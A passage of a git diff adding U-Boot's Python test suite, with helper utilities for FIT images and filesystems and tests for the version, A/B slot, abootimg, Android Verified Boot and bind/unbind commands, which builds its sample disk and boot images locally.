+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Wrapper script to invoke pytest with the directory name that contains the
+# U-Boot tests.
+
+import os
+import os.path
+import sys
+import pytest
+
+if __name__ == '__main__':
+ # argv; py.test test_directory_name user-supplied-arguments
+ args = [os.path.dirname(__file__) + '/tests']
+ args.extend(sys.argv)
+
+ # Use short format by default
+ if not [arg for arg in args if '--tb=' in arg]:
+ args.append('--tb=short')
+
+ sys.exit(pytest.main(args))
diff --git a/test/py/tests/bootstd/armbian.bmp.xz b/test/py/tests/bootstd/armbian.bmp.xz
new file mode 100644
index 00000000000..ad137ea6e6d
--- /dev/null
+++ b/test/py/tests/bootstd/armbian.bmp.xz
Binary files differ
diff --git a/test/py/tests/bootstd/mmc1.img.xz b/test/py/tests/bootstd/mmc1.img.xz
new file mode 100644
index 00000000000..cebf7b9c53b
--- /dev/null
+++ b/test/py/tests/bootstd/mmc1.img.xz
Binary files differ
diff --git a/test/py/tests/bootstd/mmc4.img.xz b/test/py/tests/bootstd/mmc4.img.xz
new file mode 100644
index 00000000000..f4db011969f
--- /dev/null
+++ b/test/py/tests/bootstd/mmc4.img.xz
Binary files differ
diff --git a/test/py/tests/fit_util.py b/test/py/tests/fit_util.py
new file mode 100644
index 00000000000..79718d431a0
--- /dev/null
+++ b/test/py/tests/fit_util.py
@@ -0,0 +1,93 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright 2022 Google LLC
+
+"""Common utility functions for FIT tests"""
+
+import os
+
+import u_boot_utils as util
+
+def make_fname(cons, basename):
+ """Make a temporary filename
+
+ Args:
+ cons (ConsoleBase): u_boot_console to use
+ basename (str): Base name of file to create (within temporary directory)
+ Return:
+ Temporary filename
+ """
+
+ return os.path.join(cons.config.build_dir, basename)
+
+def make_its(cons, base_its, params, basename='test.its'):
+ """Make a sample .its file with parameters embedded
+
+ Args:
+ cons (ConsoleBase): u_boot_console to use
+ base_its (str): Template text for the .its file, typically containing
+ %() references
+ params (dict of str): Parameters to embed in the %() strings
+ basename (str): base name to write to (will be placed in the temp dir)
+ Returns:
+ str: Filename of .its file created
+ """
+ its = make_fname(cons, basename)
+ with open(its, 'w', encoding='utf-8') as outf:
+ print(base_its % params, file=outf)
+ return its
+
+def make_fit(cons, mkimage, base_its, params, basename='test.fit', base_fdt=None):
+ """Make a sample .fit file ready for loading
+
+ This creates a .its script with the selected parameters and uses mkimage to
+ turn this into a .fit image.
+
+ Args:
+ cons (ConsoleBase): u_boot_console to use
+ mkimage (str): Filename of 'mkimage' utility
+ base_its (str): Template text for the .its file, typically containing
+ %() references
+ params (dict of str): Parameters to embed in the %() strings
+ basename (str): base name to write to (will be placed in the temp dir)
+ Return:
+ Filename of .fit file created
+ """
+ fit = make_fname(cons, basename)
+ its = make_its(cons, base_its, params)
+ util.run_and_log(cons, [mkimage, '-f', its, fit])
+ if base_fdt:
+ with open(make_fname(cons, 'u-boot.dts'), 'w') as fd:
+ fd.write(base_fdt)
+ return fit
+
+def make_kernel(cons, basename, text):
+ """Make a sample kernel with test data
+
+ Args:
+ cons (ConsoleBase): u_boot_console to use
+ basename (str): base name to write to (will be placed in the temp dir)
+ text (str): Contents of the kernel file (will be repeated 100 times)
+ Returns:
+ str: Full path and filename of the kernel it created
+ """
+ fname = make_fname(cons, basename)
+ data = ''
+ for i in range(100):
+ data += f'this {text} {i} is unlikely to boot\n'
+ with open(fname, 'w', encoding='utf-8') as outf:
+ print(data, file=outf)
+ return fname
+
+def make_dtb(cons, base_fdt, basename):
+ """Make a sample .dts file and compile it to a .dtb
+
+ Returns:
+ cons (ConsoleBase): u_boot_console to use
+ Filename of .dtb file created
+ """
+ src = make_fname(cons, f'{basename}.dts')
+ dtb = make_fname(cons, f'{basename}.dtb')
+ with open(src, 'w', encoding='utf-8') as outf:
+ outf.write(base_fdt)
+ util.run_and_log(cons, ['dtc', src, '-O', 'dtb', '-o', dtb])
+ return dtb
diff --git a/test/py/tests/fs_helper.py b/test/py/tests/fs_helper.py
new file mode 100644
index 00000000000..380f4c4dca3
--- /dev/null
+++ b/test/py/tests/fs_helper.py
@@ -0,0 +1,69 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright (c) 2018, Linaro Limited
+# Author: Takahiro Akashi <takahiro.akashi@linaro.org>
+
+"""Helper functions for dealing with filesystems"""
+
+import re
+import os
+from subprocess import call, check_call, check_output, CalledProcessError
+
+def mk_fs(config, fs_type, size, prefix, size_gran = 0x100000):
+ """Create a file system volume
+
+ Args:
+ config (u_boot_config): U-Boot configuration
+ fs_type (str): File system type, e.g. 'ext4'
+ size (int): Size of file system in bytes
+ prefix (str): Prefix string of volume's file name
+ size_gran (int): Size granularity of file system image in bytes
+
+ Raises:
+ CalledProcessError: if any error occurs when creating the filesystem
+ """
+ fs_img = f'{prefix}.{fs_type}.img'
+ fs_img = os.path.join(config.persistent_data_dir, fs_img)
+
+ if fs_type == 'fat12':
+ mkfs_opt = '-F 12'
+ elif fs_type == 'fat16':
+ mkfs_opt = '-F 16'
+ elif fs_type == 'fat32':
+ mkfs_opt = '-F 32'
+ else:
+ mkfs_opt = ''
+
+ if re.match('fat', fs_type):
+ fs_lnxtype = 'vfat'
+ else:
+ fs_lnxtype = fs_type
+
+ count = (size + size_gran - 1) // size_gran
+
+ # Some distributions do not add /sbin to the default PATH, where mkfs lives
+ if '/sbin' not in os.environ["PATH"].split(os.pathsep):
+ os.environ["PATH"] += os.pathsep + '/sbin'
+
+ try:
+ check_call(f'rm -f {fs_img}', shell=True)
+ check_call(f'dd if=/dev/zero of={fs_img} bs={size_gran} count={count}',
+ shell=True)
+ check_call(f'mkfs.{fs_lnxtype} {mkfs_opt} {fs_img}', shell=True)
+ if fs_type == 'ext4':
+ sb_content = check_output(f'tune2fs -l {fs_img}',
+ shell=True).decode()
+ if 'metadata_csum' in sb_content:
+ check_call(f'tune2fs -O ^metadata_csum {fs_img}', shell=True)
+ return fs_img
+ except CalledProcessError:
+ call(f'rm -f {fs_img}', shell=True)
+ raise
+
+# Just for trying out
+if __name__ == "__main__":
+ import collections
+
+ CNF= collections.namedtuple('config', 'persistent_data_dir')
+
+ mk_fs(CNF('.'), 'ext4', 0x1000000, 'pref')
diff --git a/test/py/tests/source.its b/test/py/tests/source.its
new file mode 100644
index 00000000000..3c62f777f17
--- /dev/null
+++ b/test/py/tests/source.its
@@ -0,0 +1,43 @@
+/dts-v1/;
+
+/ {
+ description = "FIT image to test the source command";
+ #address-cells = <1>;
+
+ images {
+ default = "script-1";
+
+ script-1 {
+ data = "echo 1";
+ type = "script";
+ arch = "sandbox";
+ compression = "none";
+ };
+
+ script-2 {
+ data = "echo 2";
+ type = "script";
+ arch = "sandbox";
+ compression = "none";
+ };
+
+ not-a-script {
+ data = "echo 3";
+ type = "kernel";
+ arch = "sandbox";
+ compression = "none";
+ };
+ };
+
+ configurations {
+ default = "conf-2";
+
+ conf-1 {
+ script = "script-1";
+ };
+
+ conf-2 {
+ script = "script-2";
+ };
+ };
+};
diff --git a/test/py/tests/test_000_version.py b/test/py/tests/test_000_version.py
new file mode 100644
index 00000000000..bd089ab5439
--- /dev/null
+++ b/test/py/tests/test_000_version.py
@@ -0,0 +1,19 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+# pytest runs tests the order of their module path, which is related to the
+# filename containing the test. This file is named such that it is sorted
+# first, simply as a very basic sanity check of the functionality of the U-Boot
+# command prompt.
+
+def test_version(u_boot_console):
+ """Test that the "version" command prints the U-Boot version."""
+
+ # "version" prints the U-Boot sign-on message. This is usually considered
+ # an error, so that any unexpected reboot causes an error. Here, this
+ # error detection is disabled since the sign-on message is expected.
+ with u_boot_console.disable_check('main_signon'):
+ response = u_boot_console.run_command('version')
+ # Ensure "version" printed what we expected.
+ u_boot_console.validate_version_string_in_text(response)
diff --git a/test/py/tests/test_android/test_ab.py b/test/py/tests/test_android/test_ab.py
new file mode 100644
index 00000000000..c79cb07fda3
--- /dev/null
+++ b/test/py/tests/test_android/test_ab.py
@@ -0,0 +1,75 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2018 Texas Instruments, <www.ti.com>
+
+# Test A/B update commands.
+
+import os
+import pytest
+import u_boot_utils
+
+class ABTestDiskImage(object):
+ """Disk Image used by the A/B tests."""
+
+ def __init__(self, u_boot_console):
+ """Initialize a new ABTestDiskImage object.
+
+ Args:
+ u_boot_console: A U-Boot console.
+
+ Returns:
+ Nothing.
+ """
+
+ filename = 'test_ab_disk_image.bin'
+
+ persistent = u_boot_console.config.persistent_data_dir + '/' + filename
+ self.path = u_boot_console.config.result_dir + '/' + filename
+
+ with u_boot_utils.persistent_file_helper(u_boot_console.log, persistent):
+ if os.path.exists(persistent):
+ u_boot_console.log.action('Disk image file ' + persistent +
+ ' already exists')
+ else:
+ u_boot_console.log.action('Generating ' + persistent)
+ fd = os.open(persistent, os.O_RDWR | os.O_CREAT)
+ os.ftruncate(fd, 524288)
+ os.close(fd)
+ cmd = ('sgdisk', persistent)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+
+ cmd = ('sgdisk', '--new=1:64:512', '--change-name=1:misc',
+ persistent)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+ cmd = ('sgdisk', '--load-backup=' + persistent)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+
+ cmd = ('cp', persistent, self.path)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+
+di = None
+@pytest.fixture(scope='function')
+def ab_disk_image(u_boot_console):
+ global di
+ if not di:
+ di = ABTestDiskImage(u_boot_console)
+ return di
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('android_ab')
+@pytest.mark.buildconfigspec('cmd_ab_select')
+@pytest.mark.requiredtool('sgdisk')
+def test_ab(ab_disk_image, u_boot_console):
+ """Test the 'ab_select' command."""
+
+ u_boot_console.run_command('host bind 0 ' + ab_disk_image.path)
+
+ output = u_boot_console.run_command('ab_select slot_name host 0#misc')
+ assert 're-initializing A/B metadata' in output
+ assert 'Attempting slot a, tries remaining 7' in output
+ output = u_boot_console.run_command('printenv slot_name')
+ assert 'slot_name=a' in output
+
+ output = u_boot_console.run_command('ab_select slot_name host 0:1')
+ assert 'Attempting slot b, tries remaining 7' in output
+ output = u_boot_console.run_command('printenv slot_name')
+ assert 'slot_name=b' in output
diff --git a/test/py/tests/test_android/test_abootimg.py b/test/py/tests/test_android/test_abootimg.py
new file mode 100644
index 00000000000..6a8ff34538b
--- /dev/null
+++ b/test/py/tests/test_android/test_abootimg.py
@@ -0,0 +1,269 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2020
+# Author: Sam Protsenko <joe.skb7@gmail.com>
+
+# Test U-Boot's "abootimg" commands.
+
+import os
+import pytest
+import u_boot_utils
+
+"""
+These tests rely on disk image (boot.img), which is automatically created by
+the test from the stored hex dump. This is done to avoid the dependency on the
+most recent mkbootimg tool from AOSP/master. Here is the list of commands which
+was used to generate the boot.img and obtain compressed hex dump from it:
+
+ $ echo '/dts-v1/; / { model = "x1"; compatible = "y1,z1"; };' > test1.dts
+ $ echo '/dts-v1/; / { model = "x2"; compatible = "y2,z2"; };' > test2.dts
+ $ dtc test1.dts > dt1.dtb
+ $ dtc test2.dts > dt2.dtb
+ $ cat dt1.dtb dt2.dtb > dtb.img
+ $ echo 'kernel payload' > kernel
+ $ echo 'ramdisk payload' > ramdisk.img
+ $ mkbootimg --kernel ./kernel --ramdisk ./ramdisk.img \
+ --cmdline "cmdline test" --dtb ./dtb.img \
+ --os_version R --os_patch_level 2019-06-05 \
+ --header_version 2 --output boot.img
+ $ gzip -9 boot.img
+ $ xxd -p boot.img.gz > boot.img.gz.hex
+
+Now one can obtain original boot.img from this hex dump like this:
+
+ $ xxd -r -p boot.img.gz.hex boot.img.gz
+ $ gunzip -9 boot.img.gz
+
+For boot image header version 4, these tests rely on two images that are generated
+using the same steps above :
+
+1- boot.img :
+ $ mkbootimg --kernel ./kernel --ramdisk ./ramdisk.img \
+ --cmdline "cmdline test" --dtb ./dtb.img \
+ --os_version R --os_patch_level 2019-06-05 \
+ --header_version 4 --output ./boot.img
+
+2- vendor_boot.img
+ $ mkbootimg --kernel ./kernel --ramdisk ./ramdisk.img \
+ --cmdline "cmdline test" --dtb ./dtb.img \
+ --os_version R --os_patch_level 2019-06-05 \
+ --pagesize 4096 --vendor_ramdisk ./ramdisk.img \
+ --header_version 4 --vendor_boot ./vboot.img \
+
+"""
+
+# boot.img.gz hex dump
+img_hex = """1f8b08084844af5d0203626f6f742e696d670073f47309f2f77451e46700
+820606010106301084501f04181819041838181898803c3346060c909c9b
+92939997aa50925a5cc2300a461c3078b2e1793c4b876fd92db97939fb6c
+b7762ffff07d345446c1281805e8a0868d81e117a45e111c0d8dc101b253
+8bf25273140a122b73f21353b8460364148c8251300a46c1281801a02831
+3725b3387bb401300a46c1281805a360148c207081f7df5b20550bc41640
+9c03c41a0c90f17fe85400986d82452b6c3680198a192a0ce17c3610ae34
+d4a9820881a70f3873f35352731892f3730b124b32937252a96bb9119ae5
+463a5546f82c1f05a360148c8251300a462e000085bf67f200200000"""
+
+# boot img v4 hex dump
+boot_img_hex = """1f8b080827b0cd630203626f6f742e696d6700edd8bd0d82601885d1d7c4
+58d8c808b88195bd098d8d246e40e42b083f1aa0717be99d003d277916b8
+e5bddc8a7b792d8e8788c896ce9b88d32ebe6c971e7ddd3543cae734cd01
+c0ffc84c0000b0766d1a87d4e5afeadd3dab7a6f10000000f84163d5d7cd
+d43a000000000000000060c53e7544995700400000"""
+
+# vendor boot image v4 hex dump
+vboot_img_hex = """1f8b0808baaecd63020376626f6f742e696d6700edd8310b824018c6f1b3
+222a08f41b3436b4280dcdd19c11d16ee9109d18d59042d047ec8b04cd0d
+d19d5a4345534bf6ffc173ef29272f38e93b1d0ec67dd79d548462aa1cd2
+d5d20b0000f8438678f90c18d584b8a4bbb3a557991ecb2a0000f80d6b2f
+f4179b656be5c532f2fc066f040000000080e23936af2755f62a3d918df1
+db2a7ab67f9ffdeb7df7cda3465ecb79c4ce7e5c577562bb9364b74449a5
+1e467e20c53c0a57de763193c1779b3b4fcd9d4ee27c6a0e00000000c0ff
+309ffea7010000000040f1dc004129855400400000"""
+
+# Expected response for "abootimg dtb_dump" command
+dtb_dump_resp="""## DTB area contents (concat format):
+ - DTB #0:
+ (DTB)size = 125
+ (DTB)model = x1
+ (DTB)compatible = y1,z1
+ - DTB #1:
+ (DTB)size = 125
+ (DTB)model = x2
+ (DTB)compatible = y2,z2"""
+# Address in RAM where to load the boot image ('abootimg' looks in $loadaddr)
+loadaddr = 0x1000
+# Address in RAM where to load the vendor boot image ('abootimg' looks in $vloadaddr)
+vloadaddr= 0x10000
+# Expected DTB #1 offset from the boot image start address
+dtb1_offset = 0x187d
+# Expected DTB offset from the vendor boot image start address
+dtb2_offset = 0x207d
+# DTB #1 start address in RAM
+dtb1_addr = loadaddr + dtb1_offset
+# DTB #2 start address in RAM
+dtb2_addr = vloadaddr + dtb2_offset
+
+class AbootimgTestDiskImage(object):
+ """Disk image used by abootimg tests."""
+
+ def __init__(self, u_boot_console, image_name, hex_img):
+ """Initialize a new AbootimgDiskImage object.
+
+ Args:
+ u_boot_console: A U-Boot console.
+
+ Returns:
+ Nothing.
+ """
+
+ gz_hex = u_boot_console.config.persistent_data_dir + '/' + image_name + '.gz.hex'
+ gz = u_boot_console.config.persistent_data_dir + '/' + image_name + '.gz'
+
+ filename = image_name
+ persistent = u_boot_console.config.persistent_data_dir + '/' + filename
+ self.path = u_boot_console.config.result_dir + '/' + filename
+ u_boot_console.log.action('persistent is ' + persistent)
+ with u_boot_utils.persistent_file_helper(u_boot_console.log, persistent):
+ if os.path.exists(persistent):
+ u_boot_console.log.action('Disk image file ' + persistent +
+ ' already exists')
+ else:
+ u_boot_console.log.action('Generating ' + persistent)
+
+ f = open(gz_hex, "w")
+ f.write(hex_img)
+ f.close()
+ cmd = ('xxd', '-r', '-p', gz_hex, gz)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+ cmd = ('gunzip', '-9', gz)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+
+ cmd = ('cp', persistent, self.path)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+
+gtdi1 = None
+@pytest.fixture(scope='function')
+def abootimg_disk_image(u_boot_console):
+ """pytest fixture to provide a AbootimgTestDiskImage object to tests.
+ This is function-scoped because it uses u_boot_console, which is also
+ function-scoped. However, we don't need to actually do any function-scope
+ work, so this simply returns the same object over and over each time."""
+
+ global gtdi1
+ if not gtdi1:
+ gtdi1 = AbootimgTestDiskImage(u_boot_console, 'boot.img', img_hex)
+ return gtdi1
+
+gtdi2 = None
+@pytest.fixture(scope='function')
+def abootimgv4_disk_image_vboot(u_boot_console):
+ """pytest fixture to provide a AbootimgTestDiskImage object to tests.
+ This is function-scoped because it uses u_boot_console, which is also
+ function-scoped. However, we don't need to actually do any function-scope
+ work, so this simply returns the same object over and over each time."""
+
+ global gtdi2
+ if not gtdi2:
+ gtdi2 = AbootimgTestDiskImage(u_boot_console, 'vendor_boot.img', vboot_img_hex)
+ return gtdi2
+
+gtdi3 = None
+@pytest.fixture(scope='function')
+def abootimgv4_disk_image_boot(u_boot_console):
+ """pytest fixture to provide a AbootimgTestDiskImage object to tests.
+ This is function-scoped because it uses u_boot_console, which is also
+ function-scoped. However, we don't need to actually do any function-scope
+ work, so this simply returns the same object over and over each time."""
+
+ global gtdi3
+ if not gtdi3:
+ gtdi3 = AbootimgTestDiskImage(u_boot_console, 'bootv4.img', boot_img_hex)
+ return gtdi3
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('android_boot_image')
+@pytest.mark.buildconfigspec('cmd_abootimg')
+@pytest.mark.buildconfigspec('cmd_fdt')
+@pytest.mark.requiredtool('xxd')
+@pytest.mark.requiredtool('gunzip')
+def test_abootimg(abootimg_disk_image, u_boot_console):
+ """Test the 'abootimg' command."""
+
+ u_boot_console.log.action('Loading disk image to RAM...')
+ u_boot_console.run_command('setenv loadaddr 0x%x' % (loadaddr))
+ u_boot_console.run_command('host load hostfs - 0x%x %s' % (loadaddr,
+ abootimg_disk_image.path))
+
+ u_boot_console.log.action('Testing \'abootimg get ver\'...')
+ response = u_boot_console.run_command('abootimg get ver')
+ assert response == "2"
+ u_boot_console.run_command('abootimg get ver v')
+ response = u_boot_console.run_command('env print v')
+ assert response == 'v=2'
+
+ u_boot_console.log.action('Testing \'abootimg get recovery_dtbo\'...')
+ response = u_boot_console.run_command('abootimg get recovery_dtbo a')
+ assert response == 'Error: recovery_dtbo_size is 0'
+
+ u_boot_console.log.action('Testing \'abootimg dump dtb\'...')
+ response = u_boot_console.run_command('abootimg dump dtb').replace('\r', '')
+ assert response == dtb_dump_resp
+
+ u_boot_console.log.action('Testing \'abootimg get dtb_load_addr\'...')
+ u_boot_console.run_command('abootimg get dtb_load_addr a')
+ response = u_boot_console.run_command('env print a')
+ assert response == 'a=11f00000'
+
+ u_boot_console.log.action('Testing \'abootimg get dtb --index\'...')
+ u_boot_console.run_command('abootimg get dtb --index=1 dtb1_start')
+ response = u_boot_console.run_command('env print dtb1_start')
+ correct_str = "dtb1_start=%x" % (dtb1_addr)
+ assert response == correct_str
+ u_boot_console.run_command('fdt addr $dtb1_start')
+ u_boot_console.run_command('fdt get value v / model')
+ response = u_boot_console.run_command('env print v')
+ assert response == 'v=x2'
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('android_boot_image')
+@pytest.mark.buildconfigspec('cmd_abootimg')
+@pytest.mark.buildconfigspec('cmd_fdt')
+@pytest.mark.requiredtool('xxd')
+@pytest.mark.requiredtool('gunzip')
+def test_abootimgv4(abootimgv4_disk_image_vboot, abootimgv4_disk_image_boot, u_boot_console):
+ """Test the 'abootimg' command with boot image header v4."""
+
+ cons = u_boot_console
+ cons.log.action('Loading disk image to RAM...')
+ cons.run_command('setenv loadaddr 0x%x' % (loadaddr))
+ cons.run_command('setenv vloadaddr 0x%x' % (vloadaddr))
+ cons.run_command('host load hostfs - 0x%x %s' % (vloadaddr,
+ abootimgv4_disk_image_vboot.path))
+ cons.run_command('host load hostfs - 0x%x %s' % (loadaddr,
+ abootimgv4_disk_image_boot.path))
+ cons.run_command('abootimg addr 0x%x 0x%x' % (loadaddr, vloadaddr))
+ cons.log.action('Testing \'abootimg get ver\'...')
+ response = cons.run_command('abootimg get ver')
+ assert response == "4"
+ cons.run_command('abootimg get ver v')
+ response = cons.run_command('env print v')
+ assert response == 'v=4'
+
+ cons.log.action('Testing \'abootimg get recovery_dtbo\'...')
+ response = cons.run_command('abootimg get recovery_dtbo a')
+ assert response == 'Error: header version must be >= 1 and <= 2 to get dtbo'
+
+ cons.log.action('Testing \'abootimg get dtb_load_addr\'...')
+ cons.run_command('abootimg get dtb_load_addr a')
+ response = cons.run_command('env print a')
+ assert response == 'a=11f00000'
+
+ cons.log.action('Testing \'abootimg get dtb --index\'...')
+ cons.run_command('abootimg get dtb --index=1 dtb2_start')
+ response = cons.run_command('env print dtb2_start')
+ correct_str = "dtb2_start=%x" % (dtb2_addr)
+ assert response == correct_str
+
+ cons.run_command('fdt addr $dtb2_start')
+ cons.run_command('fdt get value v / model')
+ response = cons.run_command('env print v')
+ assert response == 'v=x2'
diff --git a/test/py/tests/test_android/test_avb.py b/test/py/tests/test_android/test_avb.py
new file mode 100644
index 00000000000..865efbca4de
--- /dev/null
+++ b/test/py/tests/test_android/test_avb.py
@@ -0,0 +1,138 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2018, Linaro Limited
+#
+# Android Verified Boot 2.0 Test
+
+"""
+This tests Android Verified Boot 2.0 support in U-Boot:
+
+For additional details about how to build proper vbmeta partition
+check doc/android/avb2.rst
+
+For configuration verification:
+- Corrupt boot partition and check for failure
+- Corrupt vbmeta partition and check for failure
+"""
+
+import pytest
+import u_boot_utils as util
+
+# defauld mmc id
+mmc_dev = 1
+temp_addr = 0x90000000
+temp_addr2 = 0x90002000
+
+@pytest.mark.buildconfigspec('cmd_avb')
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_avb_verify(u_boot_console):
+ """Run AVB 2.0 boot verification chain with avb subset of commands
+ """
+
+ success_str = "Verification passed successfully"
+
+ response = u_boot_console.run_command('avb init %s' %str(mmc_dev))
+ assert response == ''
+ response = u_boot_console.run_command('avb verify')
+ assert response.find(success_str)
+
+
+@pytest.mark.buildconfigspec('cmd_avb')
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.notbuildconfigspec('sandbox')
+def test_avb_mmc_uuid(u_boot_console):
+ """Check if 'avb get_uuid' works, compare results with
+ 'part list mmc 1' output
+ """
+
+ response = u_boot_console.run_command('avb init %s' % str(mmc_dev))
+ assert response == ''
+
+ response = u_boot_console.run_command('mmc rescan; mmc dev %s' %
+ str(mmc_dev))
+ assert response.find('is current device')
+
+ part_lines = u_boot_console.run_command('mmc part').splitlines()
+ part_list = {}
+ cur_partname = ''
+
+ for line in part_lines:
+ if '"' in line:
+ start_pt = line.find('"')
+ end_pt = line.find('"', start_pt + 1)
+ cur_partname = line[start_pt + 1: end_pt]
+
+ if 'guid:' in line:
+ guid_to_check = line.split('guid:\t')
+ part_list[cur_partname] = guid_to_check[1]
+
+ # lets check all guids with avb get_guid
+ for part, guid in part_list.items():
+ avb_guid_resp = u_boot_console.run_command('avb get_uuid %s' % part)
+ assert guid == avb_guid_resp.split('UUID: ')[1]
+
+
+@pytest.mark.buildconfigspec('cmd_avb')
+def test_avb_read_rb(u_boot_console):
+ """Test reading rollback indexes
+ """
+
+ response = u_boot_console.run_command('avb init %s' % str(mmc_dev))
+ assert response == ''
+
+ response = u_boot_console.run_command('avb read_rb 1')
+ assert response == 'Rollback index: 0'
+
+
+@pytest.mark.buildconfigspec('cmd_avb')
+def test_avb_is_unlocked(u_boot_console):
+ """Test if device is in the unlocked state
+ """
+
+ response = u_boot_console.run_command('avb init %s' % str(mmc_dev))
+ assert response == ''
+
+ response = u_boot_console.run_command('avb is_unlocked')
+ assert response == 'Unlocked = 1'
+
+
+@pytest.mark.buildconfigspec('cmd_avb')
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.notbuildconfigspec('sandbox')
+def test_avb_mmc_read(u_boot_console):
+ """Test mmc read operation
+ """
+
+ response = u_boot_console.run_command('mmc rescan; mmc dev %s 0' %
+ str(mmc_dev))
+ assert response.find('is current device')
+
+ response = u_boot_console.run_command('mmc read 0x%x 0x100 0x1' % temp_addr)
+ assert response.find('read: OK')
+
+ response = u_boot_console.run_command('avb init %s' % str(mmc_dev))
+ assert response == ''
+
+ response = u_boot_console.run_command('avb read_part xloader 0 100 0x%x' %
+ temp_addr2)
+ assert response.find('Read 512 bytes')
+
+ # Now lets compare two buffers
+ response = u_boot_console.run_command('cmp 0x%x 0x%x 40' %
+ (temp_addr, temp_addr2))
+ assert response.find('64 word')
+
+
+@pytest.mark.buildconfigspec('cmd_avb')
+@pytest.mark.buildconfigspec('optee_ta_avb')
+def test_avb_persistent_values(u_boot_console):
+ """Test reading/writing persistent storage to avb
+ """
+
+ response = u_boot_console.run_command('avb init %s' % str(mmc_dev))
+ assert response == ''
+
+ response = u_boot_console.run_command('avb write_pvalue test value_value')
+ assert response == 'Wrote 12 bytes'
+
+ response = u_boot_console.run_command('avb read_pvalue test 12')
+ assert response == 'Read 12 bytes, value = value_value'
diff --git a/test/py/tests/test_bind.py b/test/py/tests/test_bind.py
new file mode 100644
index 00000000000..1376ab5ed28
--- /dev/null
+++ b/test/py/tests/test_bind.py
@@ -0,0 +1,193 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+""" Test for bind command """
+
+import re
+import pytest
+
+def in_tree(response, name, uclass, drv, depth, last_child):
+ lines = [x.strip() for x in response.splitlines()]
+ leaf = ''
+ if depth != 0:
+ leaf = ' ' + ' ' * (depth - 1)
+ if not last_child:
+ leaf = leaf + r'\|'
+ else:
+ leaf = leaf + '`'
+
+ leaf = leaf + '-- ' + name
+ line = (r' *{:10.10} *[0-9]* \[ [ +] \] {:20.20} [` |]{}$'
+ .format(uclass, drv, leaf))
+ prog = re.compile(line)
+ for l in lines:
+ if prog.match(l):
+ return True
+ return False
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_bind')
+def test_bind_unbind_with_node(u_boot_console):
+
+ tree = u_boot_console.run_command('dm tree')
+ assert in_tree(tree, 'bind-test', 'simple_bus', 'simple_bus', 0, True)
+ assert in_tree(tree, 'bind-test-child1', 'phy', 'phy_sandbox', 1, False)
+ assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, True)
+
+ #bind usb_ether driver (which has no compatible) to usb@1 node.
+ ##New entry usb_ether should appear in the dm tree
+ response = u_boot_console.run_command('bind /usb@1 usb_ether')
+ assert response == ''
+ tree = u_boot_console.run_command('dm tree')
+ assert in_tree(tree, 'usb@1', 'ethernet', 'usb_ether', 1, True)
+
+ #Unbind child #1. No error expected and all devices should be there except for bind-test-child1
+ response = u_boot_console.run_command('unbind /bind-test/bind-test-child1')
+ assert response == ''
+ tree = u_boot_console.run_command('dm tree')
+ assert in_tree(tree, 'bind-test', 'simple_bus', 'simple_bus', 0, True)
+ assert 'bind-test-child1' not in tree
+ assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, True)
+
+ #bind child #1. No error expected and all devices should be there
+ response = u_boot_console.run_command('bind /bind-test/bind-test-child1 phy_sandbox')
+ assert response == ''
+ tree = u_boot_console.run_command('dm tree')
+ assert in_tree(tree, 'bind-test', 'simple_bus', 'simple_bus', 0, True)
+ assert in_tree(tree, 'bind-test-child1', 'phy', 'phy_sandbox', 1, True)
+ assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, False)
+
+ #Unbind child #2. No error expected and all devices should be there except for bind-test-child2
+ response = u_boot_console.run_command('unbind /bind-test/bind-test-child2')
+ assert response == ''
+ tree = u_boot_console.run_command('dm tree')
+ assert in_tree(tree, 'bind-test', 'simple_bus', 'simple_bus', 0, True)
+ assert in_tree(tree, 'bind-test-child1', 'phy', 'phy_sandbox', 1, True)
+ assert 'bind-test-child2' not in tree
+
+
+ #Bind child #2. No error expected and all devices should be there
+ response = u_boot_console.run_command('bind /bind-test/bind-test-child2 simple_bus')
+ assert response == ''
+ tree = u_boot_console.run_command('dm tree')
+ assert in_tree(tree, 'bind-test', 'simple_bus', 'simple_bus', 0, True)
+ assert in_tree(tree, 'bind-test-child1', 'phy', 'phy_sandbox', 1, False)
+ assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, True)
+
+ #Unbind parent. No error expected. All devices should be removed and unbound
+ response = u_boot_console.run_command('unbind /bind-test')
+ assert response == ''
+ tree = u_boot_console.run_command('dm tree')
+ assert 'bind-test' not in tree
+ assert 'bind-test-child1' not in tree
+ assert 'bind-test-child2' not in tree
+
+ #try binding invalid node with valid driver
+ response = u_boot_console.run_command('bind /not-a-valid-node simple_bus')
+ assert response != ''
+ tree = u_boot_console.run_command('dm tree')
+ assert 'not-a-valid-node' not in tree
+
+ #try binding valid node with invalid driver
+ response = u_boot_console.run_command('bind /bind-test not_a_driver')
+ assert response != ''
+ tree = u_boot_console.run_command('dm tree')
+ assert 'bind-test' not in tree
+
+ #bind /bind-test. Device should come up as well as its children
+ response = u_boot_console.run_command('bind /bind-test simple_bus')
+ assert response == ''
